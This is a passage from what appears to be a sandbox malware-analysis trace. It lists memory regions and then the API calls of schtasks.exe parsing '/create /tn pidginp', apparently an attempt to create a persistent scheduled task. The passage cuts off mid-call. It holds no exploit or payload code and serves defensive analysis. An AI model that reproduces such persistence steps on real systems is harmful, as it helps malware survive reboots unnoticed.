0x26b6b880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b880000" filename = "" Region: id = 2639 start_va = 0x26b6b890000 end_va = 0x26b6b890fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000026b6b890000" filename = "" Region: id = 2640 start_va = 0x26b6bed0000 end_va = 0x26b6c050fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6bed0000" filename = "" Region: id = 2641 start_va = 0x26b6c060000 end_va = 0x26b6d45ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6c060000" filename = "" Region: id = 2671 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2672 start_va = 0x26b6b8a0000 end_va = 0x26b6b8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b8a0000" filename = "" Region: id = 2673 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2674 start_va = 0x26b6b8b0000 end_va = 0x26b6b8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000026b6b8b0000" filename = "" Region: id = 2678 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2679 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2692 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 144 os_tid = 0x1228 [0110.804] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0110.804] __set_app_type (_Type=0x1) [0110.805] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0110.805] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0110.805] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0110.806] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0110.806] CsrIdentifyAlertableThread () returned 0x0 [0110.806] GetProcessHeap () returned 0x26b6b900000 [0110.806] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904e60 [0110.806] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.806] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0110.806] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0110.806] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0110.807] RtlVerifyVersionInfo (VersionInfo=0x908fddefb0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904e80 [0110.807] lstrlenW (lpString="") returned 0 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x2) returned 0x26b6b904ea0 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b904810 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904840 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b904860 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b904890 [0110.807] GetProcessHeap () returned 0x26b6b900000 [0110.807] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b904400 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908f00 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904430 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b909140 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b909080 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908fc0 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b909050 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904450 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908f60 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908ff0 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b909020 [0110.808] GetProcessHeap () returned 0x26b6b900000 [0110.808] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b9090b0 [0110.808] SetThreadUILanguage (LangId=0x0) returned 0x409 [0110.813] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b909170 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908e40 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908e70 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b9090e0 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908ed0 [0110.813] GetProcessHeap () returned 0x26b6b900000 [0110.813] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904c00 [0110.814] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.814] GetProcessHeap () returned 0x26b6b900000 [0110.814] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x208) returned 0x26b6b909ae0 [0110.814] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26b6b909ae0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0110.814] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x908fddf108 | out: lpdwHandle=0x908fddf108) returned 0x76c [0110.941] GetProcessHeap () returned 0x26b6b900000 [0110.941] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x776) returned 0x26b6b90a840 [0110.941] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x26b6b90a840 | out: lpData=0x26b6b90a840) returned 1 [0110.941] VerQueryValueW (in: pBlock=0x26b6b90a840, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x908fddf0a0, puLen=0x908fddf100 | out: lplpBuffer=0x908fddf0a0*=0x26b6b90abf0, puLen=0x908fddf100) returned 1 [0110.944] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.944] _vsnwprintf (in: _Buffer=0x26b6b909ae0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x908fddf078 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0110.945] VerQueryValueW (in: pBlock=0x26b6b90a840, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x908fddf090, puLen=0x908fddf0f8 | out: lplpBuffer=0x908fddf090*=0x26b6b90aa20, puLen=0x908fddf0f8) returned 1 [0110.945] lstrlenW (lpString="schtasks.exe") returned 12 [0110.945] lstrlenW (lpString="schtasks.exe") returned 12 [0110.945] lstrlenW (lpString=".EXE") returned 4 [0110.945] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0110.945] lstrlenW (lpString="schtasks.exe") returned 12 [0110.946] lstrlenW (lpString=".EXE") returned 4 [0110.946] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.946] lstrlenW (lpString="schtasks") returned 8 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908ea0 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b908f30 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b960 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b8a0 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904c20 [0110.946] _memicmp (_Buf1=0x26b6b904c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xa0) returned 0x26b6b903840 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b780 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b480 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b570 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904c40 [0110.946] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.946] GetProcessHeap () returned 0x26b6b900000 [0110.946] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x200) returned 0x26b6b90bb20 [0110.946] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0110.947] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0110.947] GetProcessHeap () returned 0x26b6b900000 [0110.947] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x30) returned 0x26b6b9038f0 [0110.947] _vsnwprintf (in: _Buffer=0x26b6b903840, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x908fddf078 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0110.947] GetProcessHeap () returned 0x26b6b900000 [0110.947] GetProcessHeap () returned 0x26b6b900000 [0110.947] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a840) returned 1 [0110.947] GetProcessHeap () returned 0x26b6b900000 [0110.947] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a840) returned 0x776 [0110.947] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a840) returned 1 [0110.947] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="?") returned 1 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="create") returned 6 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="delete") returned 6 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="query") returned 5 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="change") returned 6 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="run") returned 3 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="end") returned 3 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] lstrlenW (lpString="showsid") returned 7 [0110.948] GetThreadLocale () returned 0x409 [0110.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.948] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.948] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.948] lstrlenW (lpString="/create") returned 7 [0110.948] lstrlenW (lpString="-/") returned 2 [0110.949] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.949] lstrlenW (lpString="?") returned 1 [0110.949] lstrlenW (lpString="?") returned 1 [0110.949] GetProcessHeap () returned 0x26b6b900000 [0110.949] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904320 [0110.949] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.949] GetProcessHeap () returned 0x26b6b900000 [0110.949] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0xa) returned 0x26b6b904340 [0110.949] lstrlenW (lpString="create") returned 6 [0110.949] GetProcessHeap () returned 0x26b6b900000 [0110.949] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b904360 [0110.949] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.949] GetProcessHeap () returned 0x26b6b900000 [0110.949] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x14) returned 0x26b6b904380 [0110.949] _vsnwprintf (in: _Buffer=0x26b6b904340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.949] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.949] lstrlenW (lpString="|?|") returned 3 [0110.949] lstrlenW (lpString="|create|") returned 8 [0110.949] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.949] lstrlenW (lpString="create") returned 6 [0110.949] lstrlenW (lpString="create") returned 6 [0110.949] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.949] GetProcessHeap () returned 0x26b6b900000 [0110.950] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904340) returned 1 [0110.950] GetProcessHeap () returned 0x26b6b900000 [0110.950] RtlReAllocateHeap (Heap=0x26b6b900000, Flags=0xc, Ptr=0x26b6b904340, Size=0x14) returned 0x26b6b904690 [0110.950] lstrlenW (lpString="create") returned 6 [0110.950] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.950] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.950] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.950] lstrlenW (lpString="|create|") returned 8 [0110.950] lstrlenW (lpString="|create|") returned 8 [0110.950] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0110.950] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.950] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.950] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.950] lstrlenW (lpString="/tn") returned 3 [0110.950] lstrlenW (lpString="-/") returned 2 [0110.950] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.950] lstrlenW (lpString="?") returned 1 [0110.950] lstrlenW (lpString="?") returned 1 [0110.950] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.950] lstrlenW (lpString="tn") returned 2 [0110.950] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.950] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.950] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.950] lstrlenW (lpString="|?|") returned 3 [0110.950] lstrlenW (lpString="|tn|") returned 4 [0110.950] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.950] lstrlenW (lpString="create") returned 6 [0110.953] lstrlenW (lpString="create") returned 6 [0110.953] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.953] lstrlenW (lpString="tn") returned 2 [0110.953] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.953] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.953] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.953] lstrlenW (lpString="|create|") returned 8 [0110.953] lstrlenW (lpString="|tn|") returned 4 [0110.953] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0110.953] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.953] lstrlenW (lpString="delete") returned 6 [0110.953] lstrlenW (lpString="delete") returned 6 [0110.953] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.953] lstrlenW (lpString="tn") returned 2 [0110.953] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.953] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|delete|") returned 8 [0110.953] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.953] lstrlenW (lpString="|delete|") returned 8 [0110.953] lstrlenW (lpString="|tn|") returned 4 [0110.953] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0110.953] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.954] lstrlenW (lpString="query") returned 5 [0110.954] lstrlenW (lpString="query") returned 5 [0110.954] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.954] lstrlenW (lpString="tn") returned 2 [0110.954] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.954] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x8, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|query|") returned 7 [0110.954] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.954] lstrlenW (lpString="|query|") returned 7 [0110.954] lstrlenW (lpString="|tn|") returned 4 [0110.954] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0110.954] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.954] lstrlenW (lpString="change") returned 6 [0110.954] lstrlenW (lpString="change") returned 6 [0110.954] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.954] lstrlenW (lpString="tn") returned 2 [0110.954] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.954] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|change|") returned 8 [0110.954] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.954] lstrlenW (lpString="|change|") returned 8 [0110.954] lstrlenW (lpString="|tn|") returned 4 [0110.954] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0110.954] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.954] lstrlenW (lpString="run") returned 3 [0110.954] lstrlenW (lpString="run") returned 3 [0110.954] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.954] lstrlenW (lpString="tn") returned 2 [0110.954] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|run|") returned 5 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.955] lstrlenW (lpString="|run|") returned 5 [0110.955] lstrlenW (lpString="|tn|") returned 4 [0110.955] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0110.955] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.955] lstrlenW (lpString="end") returned 3 [0110.955] lstrlenW (lpString="end") returned 3 [0110.955] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.955] lstrlenW (lpString="tn") returned 2 [0110.955] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|end|") returned 5 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.955] lstrlenW (lpString="|end|") returned 5 [0110.955] lstrlenW (lpString="|tn|") returned 4 [0110.955] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0110.955] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.955] lstrlenW (lpString="showsid") returned 7 [0110.955] lstrlenW (lpString="showsid") returned 7 [0110.955] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.955] GetProcessHeap () returned 0x26b6b900000 [0110.955] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904690) returned 1 [0110.955] GetProcessHeap () returned 0x26b6b900000 [0110.955] RtlReAllocateHeap (Heap=0x26b6b900000, Flags=0xc, Ptr=0x26b6b904690, Size=0x16) returned 0x26b6b904690 [0110.955] lstrlenW (lpString="tn") returned 2 [0110.955] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0xa, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|showsid|") returned 9 [0110.955] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|tn|") returned 4 [0110.956] lstrlenW (lpString="|showsid|") returned 9 [0110.956] lstrlenW (lpString="|tn|") returned 4 [0110.956] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] lstrlenW (lpString="/tn") returned 3 [0110.956] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] lstrlenW (lpString="/tn") returned 3 [0110.956] GetProcessHeap () returned 0x26b6b900000 [0110.956] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x8) returned 0x26b6b904340 [0110.956] GetProcessHeap () returned 0x26b6b900000 [0110.956] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b990 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] lstrlenW (lpString="pidginp") returned 7 [0110.956] lstrlenW (lpString="-/") returned 2 [0110.956] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] lstrlenW (lpString="pidginp") returned 7 [0110.956] StrChrIW (lpStart="pidginp", wMatch=0x3a) returned 0x0 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.956] lstrlenW (lpString="pidginp") returned 7 [0110.956] GetProcessHeap () returned 0x26b6b900000 [0110.956] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x10) returned 0x26b6b9046c0 [0110.956] GetProcessHeap () returned 0x26b6b900000 [0110.956] RtlAllocateHeap 